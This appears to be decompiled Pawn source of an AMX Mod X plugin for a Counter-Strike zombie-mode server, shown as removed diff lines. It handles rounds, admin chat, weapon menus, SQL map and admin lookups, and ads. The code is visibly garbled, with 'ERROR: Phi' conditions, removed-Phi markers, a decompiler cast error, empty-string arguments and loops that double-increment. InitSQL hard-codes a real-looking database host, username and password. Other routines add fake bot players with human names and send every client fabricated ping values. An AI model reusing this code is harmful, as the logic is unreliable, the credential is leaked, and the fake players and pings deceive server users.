- set_user_rocket_time(i, 0);
- }
- g_iMaxJumps[i] = 0;
- g_iPlantedMines[i] = 0;
- g_iTripMines[i] = 0;
- g_iBlinks[i] = 0;
- g_iPlayerMines[i][0][0][1] = 0;
- g_iPlayerMines[i][0][0][0] = 0;
- g_iKillsThisRound[i] = 0;
- g_bGaveThisRound[i] = 0;
- g_bDoubleDamage[i] = 0;
- g_bTryder[i] = 0;
- g_bUnlimitedClip[i] = 0;
- i += 1;
- }
- static cMap[32];
- get_cvar_string("nextmap", cMap, 32);
- if (get_cvar_num("mp_timelimit") == 4096)
- {
- set_task(0.75, "TimerChangeMap", 0, "", 0, "", 0);
- }
- return 0;
- }
- public CmdChat(iPlayer)
- {
- !!! Removed Phi
- if (g_bAdmin[iPlayer][0][0] && AdminHasFlag(iPlayer, 102))
- {
- static i;
- static cPhrase[192];
- read_args(cPhrase, 192);
- remove_quotes(cPhrase);
- if (contain("", "%") != -1)
- {
- return 1;
- }
- cPhrase[189] = 0;
- i = 1;
- while (g_iMaxClients + 1 > i)
- {
- if (g_bConnected[i][0][0] && g_bAdmin[i][0][0])
- {
- PrintToChat(i, "\4[ADMINS]\3 %s\1 : %s", g_cName[iPlayer][0][0], cPhrase);
- i += 1;
- }
- i += 1;
- }
- }
- return 1;
- }
- public CmdSayChat(iPlayer)
- {
- !!! Removed Phi
- if (g_bAdmin[iPlayer][0][0] && AdminHasFlag(iPlayer, 121))
- {
- static i;
- static cPhrase[192];
- read_args(cPhrase, 192);
- remove_quotes(cPhrase);
- if (contain("", "%") != -1)
- {
- return 1;
- }
- cPhrase[189] = 0;
- i = 1;
- while (g_iMaxClients + 1 > i)
- {
- if (g_bConnected[i][0][0])
- {
- PrintToChat(i, "\4[ALL]\3 %s\1 : %s", g_cName[iPlayer][0][0], cPhrase);
- i += 1;
- }
- i += 1;
- }
- }
- return 1;
- }
- public TaskRespawn(iPlayer)
- {
- !!! Removed Phi
- if (g_bConnected[iPlayer][0][0] && 3 > var2 & 0 < var2)
- {
- if (!g_bAlive[iPlayer][0][0])
- {
- do_spawn(iPlayer);
- set_task(1.50, "TaskRespawn", iPlayer, "", 0, "", 0);
- }
- send_hide_weapon(iPlayer, 32);
- send_crosshair(iPlayer);
- }
- return 0;
- }
- public EventRoundEnd()
- {
- !!! Removed Phi
- static Float:fCurrent;
- static Float:fLast;
- fCurrent = get_gametime();
- if (fCurrent - fLast < 0.50/*1056964608*/)
- {
- return 0;
- }
- fLast = fCurrent;
- g_iRoundsCount += 1;
- g_iRounds[g_iRoundsCount] = g_iRoundType;
- g_bRoundEnd = 1;
- g_bModeStarted = 0;
- g_iRoundType = 0;
- remove_task(600, 0);
- remove_task(700, 0);
- remove_task(550, 0);
- remove_task(650, 0);
- client_cmd(0, "stopsound");
- if (!GetZombies())
- {
- set_hudmessage(0, 0, 200, -1.00, 0.17, 0, 0.00, 3.00, 2.00, 1.00, -1);
- ShowSyncHudMsg(0, g_iTopMessageSync, "Humans have defeated the plague!");
- client_cmd(0, "spk %s", g_cEndRoundHumanSounds[random_num(0, 2)][0][0]);
- }
- else
- {
- if (!GetHumans())
- {
- set_hudmessage(200, 0, 0, -1.00, 0.17, 0, 0.00, 3.00, 2.00, 1.00, -1);
- ShowSyncHudMsg(0, g_iTopMessageSync, "Zombies have taken over the world!");
- client_cmd(0, "spk %s", g_cEndRoundZombieSounds[random_num(0, 3)][0][0]);
- }
- set_hudmessage(0, 200, 0, -1.00, 0.17, 0, 0.00, 3.00, 2.00, 1.00, -1);
- ShowSyncHudMsg(0, g_iTopMessageSync, "No one won...");
- client_cmd(0, "spk ZombieOutstanding/end_round_win_no_one");
- }
- static iFrags;
- static iMaximumPacks;
- static iMaximumKills;
- static iPacksLeader;
- static iKillsLeader;
- iMaximumPacks = 0;
- iMaximumKills = 0;
- iPacksLeader = 0;
- iKillsLeader = 0;
- g_iVariable = 1;
- while (g_iMaxClients + 1 > g_iVariable)
- {
- if (g_bConnected[g_iVariable][0][0])
- {
- iFrags = get_frags(g_iVariable);
- if (iFrags > iMaximumKills)
- {
- iMaximumKills = iFrags;
- iKillsLeader = g_iVariable;
- g_iVariable += 1;
- }
- g_iVariable += 1;
- }
- g_iVariable += 1;
- }
- g_iVariable = 1;
- while (g_iMaxClients + 1 > g_iVariable)
- {
- if (g_bConnected[g_iVariable][0][0] && g_iPacks[g_iVariable][0][0] > iMaximumPacks)
- {
- iMaximumPacks = g_iPacks[g_iVariable][0][0];
- iPacksLeader = g_iVariable;
- g_iVariable += 1;
- }
- g_iVariable += 1;
- }
- if (g_bConnected[iKillsLeader][0][0])
- {
- if (g_iKillsThisRound[iKillsLeader][0][0])
- {
- new var2;
- if (iMaximumKills == 1)
- {
- var2 = 268596;
- }
- else
- {
- var2 = 268600;
- }
- PrintToChat(0, "\3%s\1 is\4 Leader\1 with\4 %d\1 frag%s! [\4 %d\1 this round ]", g_cName[iKillsLeader][0][0], iMaximumKills, var2, g_iKillsThisRound[iKillsLeader]);
- }
- new var3;
- if (iMaximumKills == 1)
- {
- var3 = 268748;
- }
- else
- {
- var3 = 268752;
- }
- PrintToChat(0, "\3%s\1 is\4 Leader\1 with\4 %d\1 frag%s!", g_cName[iKillsLeader][0][0], iMaximumKills, var3);
- }
- if (g_bConnected[iPacksLeader][0][0])
- {
- new var4;
- if (iMaximumPacks == 1)
- {
- var4 = 268900;
- }
- else
- {
- var4 = 268904;
- }
- PrintToChat(0, "\3%s\1 is\4 Leader\1 with\4 %d\1 pack%s!", g_cName[iPacksLeader][0][0], iMaximumPacks, var4);
- }
- static iTeam;
- static j;
- static i;
- i = random_num(1, g_iMaxClients);
- iTeam = 1;
- j = 1;
- while (g_iMaxClients + 1 > j)
- {
- i += 1;
- if (i > g_iMaxClients)
- {
- i = 1;
- }
- if (!g_bConnected[i][0][0] || !var6 < 3 & 0 < var6)
- {
- }
- else
- {
- if (iTeam > 2)
- {
- iTeam = 1;
- }
- set_team_offset(i, iTeam);
- iTeam += 1;
- }
- j += 1;
- }
- return 0;
- }
- public OnPlayerSpawn(iPlayer)
- {
- !!! Removed Phi
- if (is_user_alive(iPlayer))
- {
- g_bAlive[iPlayer] = 1;
- g_iBurningDuration[iPlayer] = 0;
- g_iPlayerType[iPlayer] = 0;
- new var4 = g_cClass[iPlayer][0][0];
- var4[0] = 268924;
- g_bKilling[iPlayer] = 0;
- g_bUnlimitedClip[iPlayer] = 0;
- g_bDoubleDamage[iPlayer] = 0;
- g_bNoDamage[iPlayer] = 0;
- g_bZombie[iPlayer] = 0;
- g_bFlashEnabled[iPlayer] = 0;
- g_bFlash[iPlayer] = 0;
- set_zombie(iPlayer, 0);
- set_monster(iPlayer, 0);
- remove_glow(iPlayer);
- g_bFrozen[iPlayer] = 0;
- set_take_damage(iPlayer, "");
- set_frozen(iPlayer, 0);
- set_health(iPlayer, "");
- set_gravity(iPlayer, 1.00/*1065353216*/);
- set_speed(iPlayer, 240.00/*1131413504*/);
- remove_task(iPlayer + 250, 0);
- remove_task(iPlayer + 200, 0);
- remove_task(iPlayer + 350, 0);
- static Float:fCurrentTime;
- fCurrentTime = get_gametime();
- if (fCurrentTime - g_fLastChangedModel >= 0.30/*1050253722*/)
- {
- ChangeModel(iPlayer + 250);
- g_fLastChangedModel = fCurrentTime;
- }
- else
- {
- set_task(g_fLastChangedModel + 0.30 - fCurrentTime, "ChangeModel", iPlayer + 250, "", 0, "", 0);
- g_fLastChangedModel = g_fLastChangedModel + 0.30;
- }
- set_task(0.20, "TaskShowMenu", iPlayer, "", 0, "", 0);
- set_task(random_float(1.00, 5.00), "TaskRespawn", iPlayer, "", 0, "", 0);
- if (!g_bRoundStart)
- {
- if (g_iRoundType & 4 || g_iRoundType & 8 || g_iRoundType & 64)
- {
- MakeZombie(0, iPlayer, false, false, false);
- }
- if (!g_iRoundType || g_iRoundType & 1 || g_iRoundType & 2)
- {
- if (get_team(iPlayer) != 2)
- {
- set_team(iPlayer, "");
- }
- }
- if (g_iRoundType & 128 || g_iRoundType & 256)
- {
- MakeHuman(iPlayer, true, false);
- }
- if (g_iRoundType & 512)
- {
- MakeZombie(0, iPlayer, false, false, true);
- }
- }
- }
- return 0;
- }
- public TaskShowMenu(iPlayer)
- {
- new var3 = g_bAlive;
- new var1;
- new var2;
- if (var3[iPlayer][0][0])
- {
- new var4 = g_iPlayerType;
- if (!var4[iPlayer][0][0])
- {
- new var5 = g_bZombie;
- if (!var5[iPlayer][0][0])
- {
- new var6 = g_bFake;
- if (!var6[iPlayer][0][0])
- {
- var2 = var6;
- if (ERROR: Phi)
- {
- menu_display(iPlayer, g_iSecondaryMenu, 0);
- }
- return 0;
- }
- var1 = var6;
- }
- var1 = var5;
- }
- var1 = var4;
- }
- else
- {
- var1 = var3;
- }
- var2 = var1;
- if (ERROR: Phi)
- {
- menu_display(iPlayer, g_iSecondaryMenu, 0);
- }
- return 0;
- }
- public _SecondaryMenu(iPlayer, iMenu, iItem)
- {
- !!! Removed Phi
- if (iItem != -3 && g_bAlive[iPlayer][0][0] && !g_bZombie[iPlayer][0][0] && !g_iPlayerType[iPlayer][0][0] && !g_bFake[iPlayer][0][0])
- {
- static iChoice;
- static iDummy;
- static cBuffer[3];
- new var2 = Heap_4;
- var2[0] = 261596;
- menu_item_getinfo(iMenu, iItem, iDummy, cBuffer, 3, var2, 0, iDummy);
- iChoice = str_to_num(cBuffer);
- DropWeapons(iPlayer, 67308546);
- give_weapon(iPlayer, g_cSecondaryEntities[iChoice][0][0]);
- give_ammo(iPlayer, g_iSecondaryWeapons[iChoice][0][0], 9999);
- menu_display(iPlayer, g_iPrimaryMenu, 0);
- }
- return 0;
- }
- public _PrimaryMenu(iPlayer, iMenu, iItem)
- {
- !!! Removed Phi
- if (iItem != -3 && g_bAlive[iPlayer][0][0] && !g_bZombie[iPlayer][0][0] && !g_iPlayerType[iPlayer][0][0])
- {
- static iChoice;
- static iDummy;
- static cBuffer[3];
- new var2 = Heap_4;
- var2[0] = 261596;
- menu_item_getinfo(iMenu, iItem, iDummy, cBuffer, 3, var2, 0, iDummy);
- iChoice = str_to_num(cBuffer);
- DropWeapons(iPlayer, 8899675000000000.00/*1509749160*/);
- give_weapon(iPlayer, g_cPrimaryEntities[iChoice][0][0]);
- give_ammo(iPlayer, g_iPrimaryWeapons[iChoice][0][0], 9999);
- if (!user_has_weapon(iPlayer, 4, -1))
- {
- give_weapon(iPlayer, "weapon_hegrenade");
- }
- if (!user_has_weapon(iPlayer, 25, -1))
- {
- give_weapon(iPlayer, "weapon_flashbang");
- }
- if (!user_has_weapon(iPlayer, 9, -1))
- {
- give_weapon(iPlayer, "weapon_smokegrenade");
- }
- }
- return 0;
- }
- DropWeapons(iPlayer, iType)
- {
- static i;
- static cWeapon[24];
- static iNum;
- static iWeapons[32];
- iNum = 0;
- get_user_weapons(iPlayer, "", iNum);
- i = 0;
- while (i < iNum)
- {
- new var2 = 1 << iWeapons[i][0][0];
- new var1;
- if (iType & var2)
- {
- new var3 = iWeapons;
- get_weaponname(var3[i][0][0], "", 24);
- engclient_cmd(iPlayer, "drop", "", "");
- var1 = var3;
- i += 1;
- }
- else
- {
- var1 = var2;
- i += 1;
- }
- i += 1;
- }
- return 0;
- }
- public ChangeModel(iTask)
- {
- !!! Removed Phi
- static bool:bChange;
- static cModel[24];
- static i;
- static iPlayer;
- iPlayer = iTask + -250;
- bChange = 1;
- get_user_model(iPlayer, cModel, 24);
- if (!g_bZombie[iPlayer][0][0])
- {
- if (!g_iPlayerType[iPlayer][0][0])
- {
- if (g_bAdmin[iPlayer][0][0] && AdminHasFlag(iPlayer, 109))
- {
- if (equal("", "z_out_admin", 0))
- {
- bChange = 0;
- }
- }
- i = 0;
- while (i < 4)
- {
- if (equal("", g_cHumanModels[i][0][0], 0))
- {
- bChange = 0;
- }
- i += 1;
- }
- }
- }
- if (bChange)
- {
- if (!g_bZombie[iPlayer][0][0])
- {
- if (!g_iPlayerType[iPlayer][0][0])
- {
- if (g_bAdmin[iPlayer][0][0] && AdminHasFlag(iPlayer, 109))
- {
- set_user_model(iPlayer, "z_out_admin");
- }
- else
- {
- set_user_model(iPlayer, g_cHumanModels[random_num(0, 3)][0][0]);
- }
- }
- else
- {
- if (g_iPlayerType[iPlayer][0][0] & 4)
- {
- set_user_model(iPlayer, "z_out_survivor");
- }
- if (g_iPlayerType[iPlayer][0][0] & 8 && !equal("", "arctic", 0))
- {
- set_user_model(iPlayer, "arctic");
- }
- }
- }
- if (!g_iPlayerType[iPlayer][0][0])
- {
- set_user_model(iPlayer, g_cZombieModels[g_iZombieClass[iPlayer][0][0]][0][0]);
- }
- if (g_iPlayerType[iPlayer][0][0] & 1)
- {
- set_user_model(iPlayer, "z_out_nemesis");
- }
- if (g_iPlayerType[iPlayer][0][0] & 2)
- {
- set_user_model(iPlayer, "z_out_assassin");
- }
- }
- return 0;
- }
- public TaskRCount()
- {
- SQL_ThreadQuery(g_hSQLTuple, "SQLRanksCount", "SELECT * FROM r", "", 0);
- return 0;
- }
- public TaskGetMaps()
- {
- !!! Removed Phi
- new cTime[4];
- new iFile = 0;
- new cLine[161];
- get_time("%H", cTime, 3);
- if (cTime[0] == 48)
- {
- SQL_ThreadQuery(g_hSQLTuple, "SQLGetMaps", "SELECT n FROM m WHERE CHAR_LENGTH(o)>0", "", 0);
- }
- else
- {
- SQL_ThreadQuery(g_hSQLTuple, "SQLGetMaps", "SELECT n FROM m", "", 0);
- }
- iFile = fopen("addons/amxmodx/configs/z_out_advertisements.ini", "r");
- if (iFile)
- {
- while (!feof(iFile))
- {
- fgets(iFile, cLine, 160);
- trim(cLine);
- if (cLine[0] == 33)
- {
- copy(g_cAdvertisements[g_iAdvertisementsCount][0][0], 160, cLine);
- replace_all(g_cAdvertisements[g_iAdvertisementsCount][0][0], 160, "!g", "\4");
- replace_all(g_cAdvertisements[g_iAdvertisementsCount][0][0], 160, "!t", "\3");
- replace_all(g_cAdvertisements[g_iAdvertisementsCount][0][0], 160, "!n", "\1");
- g_iAdvertisementsCount += 1;
- }
- }
- fclose(iFile);
- }
- iFile = fopen("addons/amxmodx/configs/z_out_hud_advertisements.ini", "r");
- if (iFile)
- {
- while (!feof(iFile))
- {
- fgets(iFile, cLine, 160);
- trim(cLine);
- if (4 < strlen(cLine))
- {
- copy(g_cHudAdvertisements[g_iHudAdvertisementsCount][0][0], 160, cLine);
- replace_all(g_cHudAdvertisements[g_iHudAdvertisementsCount][0][0], 160, "\n", "\n");
- g_iHudAdvertisementsCount += 1;
- }
- }
- fclose(iFile);
- }
- return 0;
- }
- public SQLPushAdminsX()
- {
- SQL_ThreadQuery(g_hSQLTuple, "SQLPushAdmins", "SELECT n,p FROM a WHERE f LIKE '%r%' AND CHAR_LENGTH(p)>0", "", 0);
- return 0;
- }
- public CmdBlock()
- {
- return 1;
- }
- public CmdUpdate(iPlayer)
- {
- static Float:fGameTime;
- fGameTime = get_gametime();
- if (fGameTime - g_fLast[iPlayer][0][0] < 0.30/*1050253722*/)
- {
- server_cmd("kick #%d You are banned due to flooding!; addip 60 %s; writeip", get_user_userid(iPlayer), g_cInternetProtocolAddress[iPlayer][0][0]);
- }
- else
- {
- g_fLast[iPlayer] = fGameTime;
- }
- return 0;
- }
- public InitSQL()
- {
- g_hSQLTuple = SQL_MakeDbTuple("basky.org.ua", "baskyorg_a", "a2b331", "baskyorg_a", 0);
- return 0;
- }
- public plugin_init()
- {
- !!! Removed Phi
- new i = 0;
- new cNumber[3];
- new cLine[128];
- new cTime[4];
- get_time("%H", cTime, 3);
- RegisterHam(Ham_Spawn, "player", "OnPlayerSpawn", 1);
- RegisterHam(Ham_TakeDamage, "player", "OnTakeDamage", 0);
- RegisterHam(Ham_Touch, "weaponbox", "OnTouch", 0);
- RegisterHam(Ham_Touch, "armoury_entity", "OnTouch", 0);
- RegisterHam(Ham_Item_PreFrame, "player", "OnPreFrame", 1);
- RegisterHam(Ham_Killed, "player", "OnKilled", 0);
- RegisterHam(Ham_TraceAttack, "player", "OnTraceAttack", 0);
- RegisterHam(Ham_Think, "grenade", "OnGrenadeThink", 0);
- RegisterHam(Ham_Player_Duck, "player", "OnPlayerDuck", 0);
- RegisterHam(Ham_Player_Jump, "player", "OnPlayerJump", 0);
- RegisterHam(Ham_Weapon_PrimaryAttack, "weapon_knife", "OnPrimaryAttack", 0);
- register_logevent("EventRoundStart", 2, "1=Round_Start");
- register_logevent("EventRoundEnd", 2, "1=Round_End");
- register_event("HLTV", "EventHLTV", "a", "1=0", "2=0");
- register_event("DeathMsg", "EventDeathMsg", "a", "");
- register_event("CurWeapon", "EventCurWeapon", "be", "1=1");
- register_event("StatusValue", "EventStatusValue", "be", "1=2", "2!0");
- register_event("StatusValue", "EventStatusValueHide", "be", "1=1", "2=0");
- register_concmd("amx_ban", "CmdBan", -1, "", -1);
- register_concmd("amx_freeze", "CmdFreeze", -1, "", -1);
- register_concmd("amx_map", "CmdMap", -1, "", -1);
- register_concmd("amx_addban", "CmdAddBan", -1, "", -1);
- register_concmd("amx_last", "CmdLast", -1, "", -1);
- register_concmd("amx_votemap", "CmdVoteMap", -1, "", -1);
- register_concmd("amx_kick", "CmdKick", -1, "", -1);
- register_concmd("amx_slay", "CmdSlay", -1, "", -1);
- register_concmd("amx_say", "CmdSayChat", -1, "", -1);
- register_concmd("amx_chat", "CmdChat", -1, "", -1);
- register_concmd("amx_destroy", "CmdDestroy", -1, "", -1);
- register_concmd("amx_gag", "CmdGag", -1, "", -1);
- register_concmd("amx_ungag", "CmdGag", -1, "", -1);
- register_concmd("amx_slap", "CmdSlap", -1, "", -1);
- register_concmd("amx_password_for_slot", "CommandGetSlot", -1, "", -1);
- register_concmd("amx_password_for_model", "CommandGetModel", -1, "", -1);
- register_concmd("amx_human", "CmdMode", -1, "", -1);
- register_concmd("amx_zombie", "CmdMode", -1, "", -1);
- register_concmd("amx_nemesis", "CmdMode", -1, "", -1);
- register_concmd("amx_unfreeze", "CmdUnfreeze", -1, "", -1);
- register_concmd("amx_swarm", "CmdMode", -1, "", -1);
- register_concmd("amx_plague", "CmdMode", -1, "", -1);
- register_concmd("amx_armageddon", "CmdMode", -1, "", -1);
- register_concmd("amx_multi", "CmdMode", -1, "", -1);
- register_concmd("amx_multiple", "CmdMode", -1, "", -1);
- register_concmd("amx_sniper", "CmdMode", -1, "", -1);
- register_concmd("amx_survivor", "CmdMode", -1, "", -1);
- register_concmd("amx_assassins_vs_snipers", "CmdMode", -1, "", -1);
- register_concmd("amx_assassin", "CmdMode", -1, "", -1);
- register_concmd("amx_respawn", "CmdMode", -1, "", -1);
- register_concmd("amx_ammo", "CmdMode", -1, "", -1);
- register_clcmd("cl_setautobuy", "CmdBlock", -1, "", -1);
- register_clcmd("cl_setrebuy", "CmdBlock", -1, "", -1);
- register_clcmd("cl_autoupdate", "CmdUpdate", -1, "", -1);
- register_clcmd("fullupdate", "CmdUpdate", -1, "", -1);
- register_clcmd("fullupdaterate", "CmdUpdate", -1, "", -1);
- register_clcmd("say", "Client_Say", -1, "", -1);
- register_clcmd("say_team", "Client_SayTeam", -1, "", -1);
- register_clcmd("jointeam", "CmdJoinTeam", -1, "", -1);
- register_clcmd("chooseteam", "CmdJoinTeam", -1, "", -1);
- register_clcmd("plant_mine", "CmdPlantMine", -1, "", -1);
- register_clcmd("take_mine", "CmdTakeMine", -1, "", -1);
- register_clcmd("nightvision", "CmdNightVision", -1, "", -1);
- register_clcmd("drop", "CmdDrop", -1, "", -1);
- register_message(get_user_msgid("Scenario"), "MessageScenario");
- register_message(get_user_msgid("Health"), "MessageHealth");
- register_message(get_user_msgid("TeamInfo"), "MessageTeamInfo");
- register_message(get_user_msgid("SayText"), "MessageSayText");
- register_message(get_user_msgid("Money"), "MessageMoney");
- set_msg_block(get_user_msgid("TextMsg"), 2);
- set_msg_block(get_user_msgid("SendAudio"), 2);
- set_msg_block(get_user_msgid("AmmoPickup"), 2);
- set_msg_block(get_user_msgid("WeapPickup"), 2);
- g_iMaxClients = get_maxplayers();
- g_iTimeLimit = get_cvar_pointer("mp_timelimit");
- g_iTopMessageSync = CreateHudSyncObj(0);
- g_iLeftMessageSync = CreateHudSyncObj(0);
- g_iDownMessageSync = CreateHudSyncObj(0);
- g_iCenterMessageSync = CreateHudSyncObj(0);
- g_iMineMessage = CreateHudSyncObj(0);
- g_iSecondMineMessage = CreateHudSyncObj(0);
- g_iEventsHudmessage = CreateHudSyncObj(0);
- g_iCounterMessage = CreateHudSyncObj(0);
- g_iGameMenu = menu_create("Game Menu", "_GameMenu", 0);
- g_iSecondaryMenu = menu_create("Secondary Menu", "_SecondaryMenu", 0);
- g_iPrimaryMenu = menu_create("Primary Menu", "_PrimaryMenu", 0);
- g_iMenuZombieClasses = menu_create("Zombie Classes", "_ZombieClasses", 0);
- menu_additem(g_iGameMenu, "Buy extra items", "0", 0, -1);
- menu_additem(g_iGameMenu, "Choose zombie class", "1", 0, -1);
- menu_additem(g_iGameMenu, "Buy features with points", "2", 0, -1);
- menu_additem(g_iGameMenu, "Unstuck", "3", 0, -1);
- menu_additem(g_iGameMenu, "Join spectator", "4", 0, -1);
- menu_additem(g_iGameMenu, "See rank", "5", 0, -1);
- menu_additem(g_iGameMenu, "See top and all statistics", "6", 0, -1);
- i = 0;
- while (i < 7)
- {
- formatex(cLine, 128, "%s %s", g_cZombieClasses[i][0][0], g_cZombieAttribs[i][0][0]);
- num_to_str(i, cNumber, 3);
- menu_additem(g_iMenuZombieClasses, cLine, cNumber, 0, -1);
- i++;
- }
- i = 0;
- while (i < 6)
- {
- num_to_str(i, cNumber, 3);
- menu_additem(g_iSecondaryMenu, g_cSecondaryWeapons[i][0][0], cNumber, 0, -1);
- g_iSecondaryWeapons[i] = get_weaponid(g_cSecondaryEntities[i][0][0]);
- i++;
- }
- i = 0;
- while (i < 10)
- {
- num_to_str(i, cNumber, 3);
- menu_additem(g_iPrimaryMenu, g_cPrimaryWeapons[i][0][0], cNumber, 0, -1);
- g_iPrimaryWeapons[i] = get_weaponid(g_cPrimaryEntities[i][0][0]);
- i++;
- }
- g_aNameData = ArrayCreate(32, 1);
- g_aAmmoData = ArrayCreate(1, 1);
- set_task(5.00, "TaskLight", 0, "", 0, "b", 0);
- set_task(33.50, "TaskAdvertisements", 0, "", 0, "b", 0);
- set_task(2.00, "TaskCalculateArguments", 0, "", 0, "b", 0);
- if (cTime[0] == 48)
- {
- if (cTime[1] != 49 && cTime[1] != 50 && cTime[1] != 51)
- {
- set_task(10.00, "Task_CheckBots", 750, "", 0, "b", 0);
- }
- }
- else
- {
- if (cTime[0] == 49)
- {
- if (cTime[1] == 48 || cTime[1] == 49 || cTime[1] == 50)
- {
- set_task(10.00, "Task_CheckBots", 750, "", 0, "b", 0);
- }
- }
- }
- set_task(500.00, "TaskUnban", 0, "", 0, "b", 0);
- set_task(0.40, "InitSQL", 0, "", 0, "", 0);
- set_task(2.35, "TaskRCount", 0, "", 0, "", 0);
- set_task(6.20, "TaskGetMaps", 0, "", 0, "", 0);
- set_task(11.20, "SQLPushAdminsX", 0, "", 0, "", 0);
- g_bAdmin[0] = 1;
- new var3 = g_cAdminFlags;
- new var4 = var3[0][0][var3];
- var4 = 279476;
- new var5 = g_cName;
- new var6 = var5[0][0][var5];
- var6 = 279600;
- return 0;
- }
- public MessageMoney(iMessage, iDestination, iPlayer)
- {
- if (g_bConnected[iPlayer][0][0])
- {
- reset_money(iPlayer);
- }
- return 1;
- }
- public Task_CheckBots()
- {
- !!! Removed Phi
- new var1;
- if (redirect_enabled())
- {
- var1 = g_iMaxClients + -1;
- }
- else
- {
- var1 = g_iMaxClients;
- }
- if (get_playersnum(1) < var1 && g_iBotsCount < 3)
- {
- static i;
- static bool:bDone;
- static cName[32];
- static iRandom;
- iRandom = random_num(0, 16);
- bDone = 1;
- i = 1;
- while (g_iMaxClients + 1 > i)
- {
- if (is_user_connected(i))
- {
- get_user_name(i, cName, 32);
- if (equali("", g_cBotNames[iRandom][0][0], 0))
- {
- bDone = 0;
- i += 1;
- }
- i += 1;
- }
- i += 1;
- }
- if (bDone)
- {
- static iBot;
- iBot = fake(g_cBotNames[iRandom][0][0]);
- if (0 < iBot)
- {
- g_bBot[iBot] = 1;
- g_bFake[iBot] = 1;
- g_iBotsCount += 1;
- }
- }
- remove_task(750, 0);
- set_task(10.00, "Task_CheckBots", 750, "", 0, "b", 0);
- }
- return 0;
- }
- public EventDeathMsg()
- {
- static i;
- static iNum;
- static iPlayers[32];
- get_players("", iNum, "ch", "");
- i = 0;
- while (i < iNum)
- {
- new var5 = g_bConnected;
- new var1;
- new var2;
- new var3;
- if (var5[iPlayers[i][0][0]][0][0])
- {
- if (get_button(iPlayers[i][0][0]) & 32768)
- {
- if (get_oldbuttons(iPlayers[i][0][0]) & 32768)
- {
- var2 = 1;
- var3 = 32768;
- new var4;
- if (var2)
- {
- new var6 = iPlayers;
- Update_Client_Data(var6[i][0][0]);
- var4 = var6;
- i += 1;
- }
- else
- {
- var4 = var3;
- i += 1;
- }
- i += 1;
- }
- var1 = 32768;
- }
- var1 = 32768;
- }
- else
- {
- var1 = var5;
- }
- / * ERROR! Unable to cast object of type 'Lysis.DSentinel' to type 'Lysis.DReturn'. * /
- function "EventDeathMsg"
- public EventDeathMsg()
- public CmdUnfreeze(iPlayer)
- {
- !!! Removed Phi
- if (g_bAdmin[iPlayer][0][0] && AdminHasFlag(iPlayer, 49))
- {
- static iTarget;
- static cTarget[33];
- read_argv(1, cTarget, 32);
- iTarget = GetTarget(iPlayer, cTarget, 6);
- if (iTarget)
- {
- PrintToChat(0, "\4[Zombie Outstanding]\1 Admin\4 %s\1 made\4 %s\3 unfroze", g_cName[iPlayer][0][0], g_cName[iTarget][0][0]);
- set_frozen(iTarget, 0);
- remove_glow(iTarget);
- g_bFrozen[iTarget] = 0;
- ExecuteHamB(Ham_Item_PreFrame, iTarget);
- }
- return 1;
- }
- return 0;
- }
- public Update_Client_Data(id)
- {
- static iSending;
- static i;
- static iNum;
- static iPlayers[32];
- get_players("", iNum, "", "");
- iSending = 0;
- i = 0;
- while (i < iNum)
- {
- switch (iSending)
- {
- case 0:
- {
- message_begin(MSG_ONE_UNRELIABLE, SVC_PINGS, 280480, id);
- write_byte(iPlayers[i][0][0] - 1 * 2 + 1 + g_iOffset[iPlayers[i][0][0]][0][0][0] * 64);
- write_short(g_iArgumentPing[iPlayers[i][0][0]][0][0][0]);
- iSending += 1;
- i += 1;
- }
- case 1:
- {
- write_byte(iPlayers[i][0][0] - 1 * 4 + 2 + g_iOffset[iPlayers[i][0][0]][0][0][1] * 128);
- write_short(g_iArgumentPing[iPlayers[i][0][0]][0][0][1]);
- iSending += 1;
- i += 1;
- }
- case 2:
- {
- write_byte(iPlayers[i][0][0] - 1 * 8 + 4);
- write_short(g_iArgumentPing[iPlayers[i][0][0]][0][0][2]);
- write_byte(0);
- message_end();
- iSending = 0;
- i += 1;
- }
- default:
- {
- i += 1;
- }
- }
- i += 1;
- }
- if (iSending)
- {
- write_byte(0);
- message_end();
- }
- return 0;
- }
- public TaskCalculateArguments()
- {
- !!! Removed Phi
- static iPing;
- static i;
- static iNum;
- static iPlayers[32];
- get_players("", iNum, "", "");
- i = 0;
- while (i < iNum)
- {
- if (0 > g_iPingOverride[iPlayers[i][0][0]][0][0])
- {
- iPing = random_num(-4, 4) + 12;
- }
- else
- {
- iPing = g_iPingOverride[iPlayers[i][0][0]][0][0];
- }
- g_iOffset[iPlayers[i][0][0]][0][0][0] = 0;
- while (4 > g_iOffset[iPlayers[i][0][0]][0][0][0])
- {
- if (iPing - g_iOffset[iPlayers[i][0][0]][0][0][0])
- {
- g_iOffset[iPlayers[i][0][0]][0][0]++;
- }
- else
- {
- g_iArgumentPing[iPlayers[i][0][0]][0][0][0] = iPing - g_iOffset[iPlayers[i][0][0]][0][0][0] / 4;
- g_iOffset[iPlayers[i][0][0]][0][0][1] = 0;
- while (2 > g_iOffset[iPlayers[i][0][0]][0][0][1])
- {
- if (iPing - g_iOffset[iPlayers[i][0][0]][0][0][1])
- {
- g_iOffset[iPlayers[i][0][0]][0][0][1]++;
- }
- else
- {
- g_iArgumentPing[iPlayers[i][0][0]][0][0][1] = iPing - g_iOffset[iPlayers[i][0][0]][0][0][1] / 2;
- g_iArgumentPing[iPlayers[i][0][0]][0][0][2] = iPing;
- i += 1;
- }
- g_iOffset[iPlayers[i][0][0]][0][0][1]++;
- }
- g_iArgumentPing[iPlayers[i][0][0]][0][0][2] = iPing;
- i += 1;
- }
- g_iOffset[iPlayers[i][0][0]][0][0]++;
- }
- g_iOffset[iPlayers[i][0][0]][0][0][1] = 0;
- while (2 > g_iOffset[iPlayers[i][0][0]][0][0][1])
- {
- if (iPing - g_iOffset[iPlayers[i][0][0]][0][0][1])
- {
- g_iOffset[iPlayers[i][0][0]][0][0][1]++;
- }
- else
- {
- g_iArgumentPing[iPlayers[i][0][0]][0][0][1] = iPing - g_iOffset[iPlayers[i][0][0]][0][0][1] / 2;
- g_iArgumentPing[iPlayers[i][0][0]][0][0][2] = iPing;
- i += 1;
- }
- g_iOffset[iPlayers[i][0][0]][0][0][1]++;
- }
- g_iArgumentPing[iPlayers[i][0][0]][0][0][2] = iPing;
- i += 1;
- }
- return 0;
- }
- public TaskAdvertisements()
- {
- set_task(1.00, "TaskHudXYZ", 0, "", 0, "", 0);
- if (g_iMessage >= g_iAdvertisementsCount)
- {
- g_iMessage = 0;
- }
- PrintToChat(0, g_cAdvertisements[g_iMessage][0][0]);
- g_iMessage += 1;
- return 0;
- }
- public TaskHudXYZ()
- {
- if (g_iHudMessage >= g_iHudAdvertisementsCount)
- {
- g_iHudMessage = 0;
- }
